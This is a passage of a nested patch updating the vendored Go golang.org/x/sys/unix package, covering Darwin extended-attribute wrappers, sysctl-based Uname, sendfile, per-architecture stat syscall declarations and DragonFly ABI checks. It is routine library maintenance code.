-+func xattrPointer(dest []byte) *byte {
-+ // It's only when dest is set to NULL that the OS X implementations of
-+ // getxattr() and listxattr() return the current sizes of the named attributes.
-+ // An empty byte array is not sufficient. To maintain the same behaviour as the
-+ // linux implementation, we wrap around the system calls and pass in NULL when
-+ // dest is empty.
-+ var destp *byte
-+ if len(dest) > 0 {
-+ destp = &dest[0]
- }
-- return
-+ return destp
-+}
-+
-+//sys getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error)
-+
-+func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-+ return getxattr(path, attr, xattrPointer(dest), len(dest), 0, 0)
-+}
-+
-+func Lgetxattr(link string, attr string, dest []byte) (sz int, err error) {
-+ return getxattr(link, attr, xattrPointer(dest), len(dest), 0, XATTR_NOFOLLOW)
-+}
-+
-+//sys fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error)
-+
-+func Fgetxattr(fd int, attr string, dest []byte) (sz int, err error) {
-+ return fgetxattr(fd, attr, xattrPointer(dest), len(dest), 0, 0)
-+}
-+
-+//sys setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error)
-+
-+func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-+ // The parameters for the OS X implementation vary slightly compared to the
-+ // linux system call, specifically the position parameter:
-+ //
-+ // linux:
-+ // int setxattr(
-+ // const char *path,
-+ // const char *name,
-+ // const void *value,
-+ // size_t size,
-+ // int flags
-+ // );
-+ //
-+ // darwin:
-+ // int setxattr(
-+ // const char *path,
-+ // const char *name,
-+ // void *value,
-+ // size_t size,
-+ // u_int32_t position,
-+ // int options
-+ // );
-+ //
-+ // position specifies the offset within the extended attribute. In the
-+ // current implementation, only the resource fork extended attribute makes
-+ // use of this argument. For all others, position is reserved. We simply
-+ // default to setting it to zero.
-+ return setxattr(path, attr, xattrPointer(data), len(data), 0, flags)
-+}
-+
-+func Lsetxattr(link string, attr string, data []byte, flags int) (err error) {
-+ return setxattr(link, attr, xattrPointer(data), len(data), 0, flags|XATTR_NOFOLLOW)
-+}
-+
-+//sys fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error)
-+
-+func Fsetxattr(fd int, attr string, data []byte, flags int) (err error) {
-+ return fsetxattr(fd, attr, xattrPointer(data), len(data), 0, 0)
-+}
-+
-+//sys removexattr(path string, attr string, options int) (err error)
-+
-+func Removexattr(path string, attr string) (err error) {
-+ // We wrap around and explicitly zero out the options provided to the OS X
-+ // implementation of removexattr, we do so for interoperability with the
-+ // linux variant.
-+ return removexattr(path, attr, 0)
-+}
-+
-+func Lremovexattr(link string, attr string) (err error) {
-+ return removexattr(link, attr, XATTR_NOFOLLOW)
-+}
-+
-+//sys fremovexattr(fd int, attr string, options int) (err error)
-+
-+func Fremovexattr(fd int, attr string) (err error) {
-+ return fremovexattr(fd, attr, 0)
-+}
-+
-+//sys listxattr(path string, dest *byte, size int, options int) (sz int, err error)
-+
-+func Listxattr(path string, dest []byte) (sz int, err error) {
-+ return listxattr(path, xattrPointer(dest), len(dest), 0)
- }
-
-+func Llistxattr(link string, dest []byte) (sz int, err error) {
-+ return listxattr(link, xattrPointer(dest), len(dest), XATTR_NOFOLLOW)
-+}
-+
-+//sys flistxattr(fd int, dest *byte, size int, options int) (sz int, err error)
-+
-+func Flistxattr(fd int, dest []byte) (sz int, err error) {
-+ return flistxattr(fd, xattrPointer(dest), len(dest), 0)
-+}
-+
-+func setattrlistTimes(path string, times []Timespec, flags int) error {
-+ _p0, err := BytePtrFromString(path)
-+ if err != nil {
-+ return err
-+ }
-+
-+ var attrList attrList
-+ attrList.bitmapCount = ATTR_BIT_MAP_COUNT
-+ attrList.CommonAttr = ATTR_CMN_MODTIME | ATTR_CMN_ACCTIME
-+
-+ // order is mtime, atime: the opposite of Chtimes
-+ attributes := [2]Timespec{times[1], times[0]}
-+ options := 0
-+ if flags&AT_SYMLINK_NOFOLLOW != 0 {
-+ options |= FSOPT_NOFOLLOW
-+ }
-+ return setattrlist(
-+ _p0,
-+ unsafe.Pointer(&attrList),
-+ unsafe.Pointer(&attributes),
-+ unsafe.Sizeof(attributes),
-+ options)
-+}
-+
-+//sys setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error)
-+
- func utimensat(dirfd int, path string, times *[2]Timespec, flags int) error {
- // Darwin doesn't support SYS_UTIMENSAT
- return ENOSYS
-@@ -196,49 +316,74 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) error {
- * Wrapped
- */
-
-+//sys fcntl(fd int, cmd int, arg int) (val int, err error)
-+
- //sys kill(pid int, signum int, posix int) (err error)
-
- func Kill(pid int, signum syscall.Signal) (err error) { return kill(pid, int(signum), 1) }
-
- //sys ioctl(fd int, req uint, arg uintptr) (err error)
-
--// ioctl itself should not be exposed directly, but additional get/set
--// functions for specific types are permissible.
-+//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS_SYSCTL
-
--// IoctlSetInt performs an ioctl operation which sets an integer value
--// on fd, using the specified request number.
--func IoctlSetInt(fd int, req uint, value int) error {
-- return ioctl(fd, req, uintptr(value))
--}
-+func Uname(uname *Utsname) error {
-+ mib := []_C_int{CTL_KERN, KERN_OSTYPE}
-+ n := unsafe.Sizeof(uname.Sysname)
-+ if err := sysctl(mib, &uname.Sysname[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
--func IoctlSetWinsize(fd int, req uint, value *Winsize) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
--}
-+ mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
-+ n = unsafe.Sizeof(uname.Nodename)
-+ if err := sysctl(mib, &uname.Nodename[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
--func IoctlSetTermios(fd int, req uint, value *Termios) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
--}
-+ mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
-+ n = unsafe.Sizeof(uname.Release)
-+ if err := sysctl(mib, &uname.Release[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
--// IoctlGetInt performs an ioctl operation which gets an integer value
--// from fd, using the specified request number.
--func IoctlGetInt(fd int, req uint) (int, error) {
-- var value int
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return value, err
--}
-+ mib = []_C_int{CTL_KERN, KERN_VERSION}
-+ n = unsafe.Sizeof(uname.Version)
-+ if err := sysctl(mib, &uname.Version[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
--func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
-- var value Winsize
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+ // The version might have newlines or tabs in it, convert them to
-+ // spaces.
-+ for i, b := range uname.Version {
-+ if b == '\n' || b == '\t' {
-+ if i == len(uname.Version)-1 {
-+ uname.Version[i] = 0
-+ } else {
-+ uname.Version[i] = ' '
-+ }
-+ }
-+ }
-+
-+ mib = []_C_int{CTL_HW, HW_MACHINE}
-+ n = unsafe.Sizeof(uname.Machine)
-+ if err := sysctl(mib, &uname.Machine[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ return nil
- }
-
--func IoctlGetTermios(fd int, req uint) (*Termios, error) {
-- var value Termios
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ var length = int64(count)
-+ err = sendfile(infd, outfd, *offset, &length, nil, 0)
-+ written = int(length)
-+ return
- }
-
-+//sys sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error)
-+
- /*
- * Exposed directly
- */
-@@ -249,6 +394,7 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Chmod(path string, mode uint32) (err error)
- //sys Chown(path string, uid int, gid int) (err error)
- //sys Chroot(path string) (err error)
-+//sys ClockGettime(clockid int32, time *Timespec) (err error)
- //sys Close(fd int) (err error)
- //sys Dup(fd int) (nfd int, err error)
- //sys Dup2(from int, to int) (err error)
-@@ -263,11 +409,8 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
--//sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
--//sys Fstatfs(fd int, stat *Statfs_t) (err error) = SYS_FSTATFS64
- //sys Fsync(fd int) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
--//sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) = SYS_GETDIRENTRIES64
- //sys Getdtablesize() (size int)
- //sysnb Getegid() (egid int)
- //sysnb Geteuid() (uid int)
-@@ -287,7 +430,6 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Link(path string, link string) (err error)
- //sys Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error)
- //sys Listen(s int, backlog int) (err error)
--//sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
- //sys Mkdir(path string, mode uint32) (err error)
- //sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mkfifo(path string, mode uint32) (err error)
-@@ -305,7 +447,7 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Revoke(path string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
--//sys Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sys Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -319,8 +461,6 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sysnb Setsid() (pid int, err error)
- //sysnb Settimeofday(tp *Timeval) (err error)
- //sysnb Setuid(uid int) (err error)
--//sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
--//sys Statfs(path string, stat *Statfs_t) (err error) = SYS_STATFS64
- //sys Symlink(path string, link string) (err error)
- //sys Symlinkat(oldpath string, newdirfd int, newpath string) (err error)
- //sys Sync() (err error)
-@@ -377,18 +517,9 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- // Searchfs
- // Delete
- // Copyfile
--// Poll
- // Watchevent
- // Waitevent
- // Modwatch
--// Getxattr
--// Fgetxattr
--// Setxattr
--// Fsetxattr
--// Removexattr
--// Fremovexattr
--// Listxattr
--// Flistxattr
- // Fsctl
- // Initgroups
- // Posix_spawn
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_386.1_11.go b/vendor/golang.org/x/sys/unix/syscall_darwin_386.1_11.go
-new file mode 100644
-index 00000000..6b223f91
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_386.1_11.go
-@@ -0,0 +1,9 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,386,!go1.12
-+
-+package unix
-+
-+//sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) = SYS_GETDIRENTRIES64
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_386.go b/vendor/golang.org/x/sys/unix/syscall_darwin_386.go
-index c172a3da..707ba4f5 100644
---- a/vendor/golang.org/x/sys/unix/syscall_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_386.go
-@@ -8,30 +8,22 @@ package unix
-
- import (
- "syscall"
-- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
-+//sys ptrace(request int, pid int, addr uintptr, data uintptr) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int32(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
- //sysnb gettimeofday(tp *Timeval) (sec int32, usec int32, err error)
- func Gettimeofday(tv *Timeval) (err error) {
- // The tv passed to gettimeofday must be non-nil
-- // but is otherwise unused. The answers come back
-+ // but is otherwise unused. The answers come back
- // in the two registers.
- sec, usec, err := gettimeofday(tv)
- tv.Sec = int32(sec)
-@@ -53,21 +45,12 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
--func (cmsg *Cmsghdr) SetLen(length int) {
-- cmsg.Len = uint32(length)
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
- }
-
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- var length = uint64(count)
--
-- _, _, e1 := Syscall9(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(*offset), uintptr(*offset>>32), uintptr(unsafe.Pointer(&length)), 0, 0, 0, 0)
--
-- written = int(length)
--
-- if e1 != 0 {
-- err = e1
-- }
-- return
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-@@ -75,3 +58,11 @@ func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
- // of darwin/386 the syscall is called sysctl instead of __sysctl.
- const SYS___SYSCTL = SYS_SYSCTL
-+
-+//sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
-+//sys Fstatfs(fd int, stat *Statfs_t) (err error) = SYS_FSTATFS64
-+//sys getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) = SYS_GETFSSTAT64
-+//sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
-+//sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
-+//sys Statfs(path string, stat *Statfs_t) (err error) = SYS_STATFS64
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.1_11.go b/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.1_11.go
-new file mode 100644
-index 00000000..68ebd6fa
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.1_11.go
-@@ -0,0 +1,9 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,amd64,!go1.12
-+
-+package unix
-+
-+//sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) = SYS_GETDIRENTRIES64
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.go b/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.go
-index c6c99c13..fdbfb591 100644
---- a/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.go
-@@ -8,30 +8,22 @@ package unix
-
- import (
- "syscall"
-- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
-+//sys ptrace(request int, pid int, addr uintptr, data uintptr) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- //sysnb gettimeofday(tp *Timeval) (sec int64, usec int32, err error)
- func Gettimeofday(tv *Timeval) (err error) {
- // The tv passed to gettimeofday must be non-nil
-- // but is otherwise unused. The answers come back
-+ // but is otherwise unused. The answers come back
- // in the two registers.
- sec, usec, err := gettimeofday(tv)
- tv.Sec = sec
-@@ -53,21 +45,12 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
--func (cmsg *Cmsghdr) SetLen(length int) {
-- cmsg.Len = uint32(length)
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
- }
-
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- var length = uint64(count)
--
-- _, _, e1 := Syscall6(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(*offset), uintptr(unsafe.Pointer(&length)), 0, 0)
--
-- written = int(length)
--
-- if e1 != 0 {
-- err = e1
-- }
-- return
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-@@ -75,3 +58,11 @@ func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
- // of darwin/amd64 the syscall is called sysctl instead of __sysctl.
- const SYS___SYSCTL = SYS_SYSCTL
-+
-+//sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
-+//sys Fstatfs(fd int, stat *Statfs_t) (err error) = SYS_FSTATFS64
-+//sys getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) = SYS_GETFSSTAT64
-+//sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
-+//sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
-+//sys Statfs(path string, stat *Statfs_t) (err error) = SYS_STATFS64
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_arm.1_11.go b/vendor/golang.org/x/sys/unix/syscall_darwin_arm.1_11.go
-new file mode 100644
-index 00000000..0e3f25ac
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_arm.1_11.go
-@@ -0,0 +1,11 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,arm,!go1.12
-+
-+package unix
-+
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ return 0, ENOSYS
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_arm.go b/vendor/golang.org/x/sys/unix/syscall_darwin_arm.go
-index d286cf40..f8bc4cfb 100644
---- a/vendor/golang.org/x/sys/unix/syscall_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_arm.go
-@@ -6,30 +6,24 @@ package unix
-
- import (
- "syscall"
-- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
-+func ptrace(request int, pid int, addr uintptr, data uintptr) error {
-+ return ENOTSUP
-+}
-
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int32(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
- //sysnb gettimeofday(tp *Timeval) (sec int32, usec int32, err error)
- func Gettimeofday(tv *Timeval) (err error) {
- // The tv passed to gettimeofday must be non-nil
-- // but is otherwise unused. The answers come back
-+ // but is otherwise unused. The answers come back
- // in the two registers.
- sec, usec, err := gettimeofday(tv)
- tv.Sec = int32(sec)
-@@ -51,21 +45,24 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
--func (cmsg *Cmsghdr) SetLen(length int) {
-- cmsg.Len = uint32(length)
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
- }
-
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- var length = uint64(count)
--
-- _, _, e1 := Syscall9(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(*offset), uintptr(*offset>>32), uintptr(unsafe.Pointer(&length)), 0, 0, 0, 0)
--
-- written = int(length)
--
-- if e1 != 0 {
-- err = e1
-- }
-- return
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno) // sic
-+
-+// SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
-+// of darwin/arm the syscall is called sysctl instead of __sysctl.
-+const SYS___SYSCTL = SYS_SYSCTL
-+
-+//sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
-+//sys Fstatfs(fd int, stat *Statfs_t) (err error)
-+//sys getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) = SYS_GETFSSTAT
-+//sys Lstat(path string, stat *Stat_t) (err error)
-+//sys Stat(path string, stat *Stat_t) (err error)
-+//sys Statfs(path string, stat *Statfs_t) (err error)
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.1_11.go b/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.1_11.go
-new file mode 100644
-index 00000000..01d45040
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.1_11.go
-@@ -0,0 +1,11 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,arm64,!go1.12
-+
-+package unix
-+
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ return 0, ENOSYS
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.go b/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.go
-index c33905cd..5ede3ac3 100644
---- a/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.go
-@@ -8,30 +8,24 @@ package unix
-
- import (
- "syscall"
-- "unsafe"
- )
-
--func Getpagesize() int { return 16384 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
-+func ptrace(request int, pid int, addr uintptr, data uintptr) error {
-+ return ENOTSUP
-+}
-
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- //sysnb gettimeofday(tp *Timeval) (sec int64, usec int32, err error)
- func Gettimeofday(tv *Timeval) (err error) {
- // The tv passed to gettimeofday must be non-nil
-- // but is otherwise unused. The answers come back
-+ // but is otherwise unused. The answers come back
- // in the two registers.
- sec, usec, err := gettimeofday(tv)
- tv.Sec = sec
-@@ -53,21 +47,12 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
--func (cmsg *Cmsghdr) SetLen(length int) {
-- cmsg.Len = uint32(length)
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
- }
-
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- var length = uint64(count)
--
-- _, _, e1 := Syscall6(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(*offset), uintptr(unsafe.Pointer(&length)), 0, 0)
--
-- written = int(length)
--
-- if e1 != 0 {
-- err = e1
-- }
-- return
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno) // sic
-@@ -75,3 +60,11 @@ func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
- // of darwin/arm64 the syscall is called sysctl instead of __sysctl.
- const SYS___SYSCTL = SYS_SYSCTL
-+
-+//sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
-+//sys Fstatfs(fd int, stat *Statfs_t) (err error)
-+//sys getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) = SYS_GETFSSTAT
-+//sys Lstat(path string, stat *Stat_t) (err error)
-+//sys Stat(path string, stat *Stat_t) (err error)
-+//sys Statfs(path string, stat *Statfs_t) (err error)
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_libSystem.go b/vendor/golang.org/x/sys/unix/syscall_darwin_libSystem.go
-new file mode 100644
-index 00000000..f34c86c8
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_libSystem.go
-@@ -0,0 +1,33 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,go1.12
-+
-+package unix
-+
-+import "unsafe"
-+
-+// Implemented in the runtime package (runtime/sys_darwin.go)
-+func syscall_syscall(fn, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall_syscall6(fn, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall_syscall6X(fn, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall_syscall9(fn, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err Errno) // 32-bit only
-+func syscall_rawSyscall(fn, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall_rawSyscall6(fn, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall_syscallPtr(fn, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
-+
-+//go:linkname syscall_syscall syscall.syscall
-+//go:linkname syscall_syscall6 syscall.syscall6
-+//go:linkname syscall_syscall6X syscall.syscall6X
-+//go:linkname syscall_syscall9 syscall.syscall9
-+//go:linkname syscall_rawSyscall syscall.rawSyscall
-+//go:linkname syscall_rawSyscall6 syscall.rawSyscall6
-+//go:linkname syscall_syscallPtr syscall.syscallPtr
-+
-+// Find the entry point for f. See comments in runtime/proc.go for the
-+// function of the same name.
-+//go:nosplit
-+func funcPC(f func()) uintptr {
-+ return **(**uintptr)(unsafe.Pointer(&f))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_dragonfly.go b/vendor/golang.org/x/sys/unix/syscall_dragonfly.go
-index 3a483373..8a195ae5 100644
---- a/vendor/golang.org/x/sys/unix/syscall_dragonfly.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_dragonfly.go
-@@ -12,8 +12,27 @@
-
- package unix
-
--import "unsafe"
-+import (
-+ "sync"
-+ "unsafe"
-+)
-
-+// See version list in https://github.com/DragonFlyBSD/DragonFlyBSD/blob/master/sys/sys/param.h
-+var (
-+ osreldateOnce sync.Once
-+ osreldate uint32
-+)
-+
-+// First __DragonFly_version after September 2019 ABI changes
-+// http://lists.dragonflybsd.org/pipermail/users/2019-September/358280.html
-+const _dragonflyABIChangeVersion = 500705
-+
-+func supportsABI(ver uint32) bool {
-+ osreldateOnce.Do(func() { osreldate, _ = SysctlUint32("kern.osreldate") })
-+ return osreldate >= ver
-+}
-+
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Len uint8
- Family uint8
-@@ -102,7 +121,7 @@ func Accept4(fd, flags int) (nfd int, sa Sockaddr, err error) {
- if len > SizeofSockaddrAny {
- panic("RawSockaddrAny too small")
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -110,6 +129,23 @@ func Accept4(fd, flags int) (nfd int, sa Sockaddr, err error) {
- return
- }
-
-+const ImplementsGetwd = true
-+
